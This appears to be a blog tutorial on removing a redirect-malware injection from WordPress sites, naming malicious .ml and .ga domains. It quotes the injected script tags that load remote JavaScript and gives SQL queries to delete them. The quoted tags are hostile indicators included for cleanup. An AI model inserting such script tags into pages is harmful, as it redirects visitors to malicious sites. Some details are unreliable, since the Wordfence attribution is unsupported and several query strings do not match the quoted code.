Remove directednotconverted.ml sinistermousemove.art Malware

Remove directednotconverted.ml virus from WordPress Site 2020

Nowadays, there is a New Virus from the domain directednotconverted.ml, lowerbeforwarden.ml & donatelloflowfirstly.ga are infecting many WordPress sites. In this article we are going to remove Remove directednotconverted.ml virus from wordpress site.

Remove directednotconverted.ml

This type of malware inserts redirecting javascript to every post & Page. So When visitors visit your home page or any post, it will redirect to malicious sites via javascript.

List of common malware that affects the WordPress website are:

  • source.lowerbeforwarden.ml.
  • scripts.lowerbeforwarden.ml.
  • donatelloflowfirstly.ga.
  • js.donatelloflowfirstly.ga.
  • Source.lowerbeforwarden.ml.
  • 0.directednotconverted.ml.
  • go.donatelloflowfirstly.ga.

It happen due to some recent vulnerability found in Wordfence plugins. Millions of WordPress sites has been affected by the bug in the Wordfence Plugin. Follow these steps below to Fix this WordPress redirects hack.

Step to directednotconverted.ml from WordPress Site:

(1) Open cpanel and Goto public_html folder of your site. If you find a file name called: _a, _f, _s, it’s a malware injection code. You need to remove these files.

Remove directednotconverted.ml virus from WordPress Site

(2) Check the Plugin and themes folder and if you find any unknown PHP or javascript file, then delete that file.

lowerbeforwarden.ml virus

Also Read: libc6-dev : Breaks : libgcc-9-dev (< 9.3.0.5~) but 9.2.1-19 is to be installed

(3) Open an “index.php” file (Ex: /wp-content/plugins/index.php or public_html/index.php). You will find a code like: <script src=’*****’ type=’text/javascript’></script>

Example:

<script src='https://scripts.lowerbeforwarden.m/src.js?n=n' type='text/javascript'></script>
<script src='https://js.donatelloflowfirstly.g/statistics.js?n=n' type='text/javascript'></script>

Delete this code if you find it. You might also find this code in every post and every index.php file.

directednotconverted.ml malware

Also Read: How to Send Blank Message in WhatsApp Without App

Open PHPMyAdmin and choose your Database and Search for wp_post table. Edit any post and see whether these scripts are present or not.

lowerbeforwarden.ml malware

(4) To delete the code from every post, you need to open PHPMyAdmin and select your database name (in my case, DB name is crazytech_wp). Run the SQL query to remove the scripts. In my case, I found two scripts:

<script src='https://scripts.lowerbeforwarden.ml/src.js?n=ns125' type='text/javascript'></script> 
<script src='https://js.donatelloflowfirstly.ga/statistics.js?n=ns125' type='text/javascript'></script>.
  • To remove lowerbeforwarden.ml.
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://scripts. lowerbeforwarden.ml/src.js?n=ns125' type='text/javascript'></script>", ""));
  • To remove js.donatelloflowfirstly.ga script.
UPDATE wp_posts SET post_content = (REPLACE (post_content, "<script src='https://js.donatelloflowfirstly.ga/stat.js?n=ns125' type='text/javascript'></script>", ""));

 

Also Read: How to Use Wifi and Hotspot together in Android

If you find some new script in your post then put same query just replace the script part.

UPDATE wp_posts SET post_content = (REPLACE (post_content, "Add_the_script", ""));

This method will also work for similar viruses. It would help if you changed the domain name accordingly.

  • donatelloflowfirstly.ga
  • 0.directednotconverted.ml

(5) Lat step Check your siteurl and home URL in the wp_options table in the Database and make sure it is pointing to your domain.

Example of this –  You can see the below script in siteurl or home URL. If you find this url then remove and add your url.

https://js.donatelloflowfirstly.ga/statistics.js?n=ns2

lowerbeforwarden.ml malware

Now we have successfully Remove directednotconverted.ml and lowerbeforwarden.ml viruses from WordPress Site. If you still have any issue then comment below.

Also Read: How to Use Internet in Flight Mode 2020

Leave a Reply

Your email address will not be published. Required fields are marked *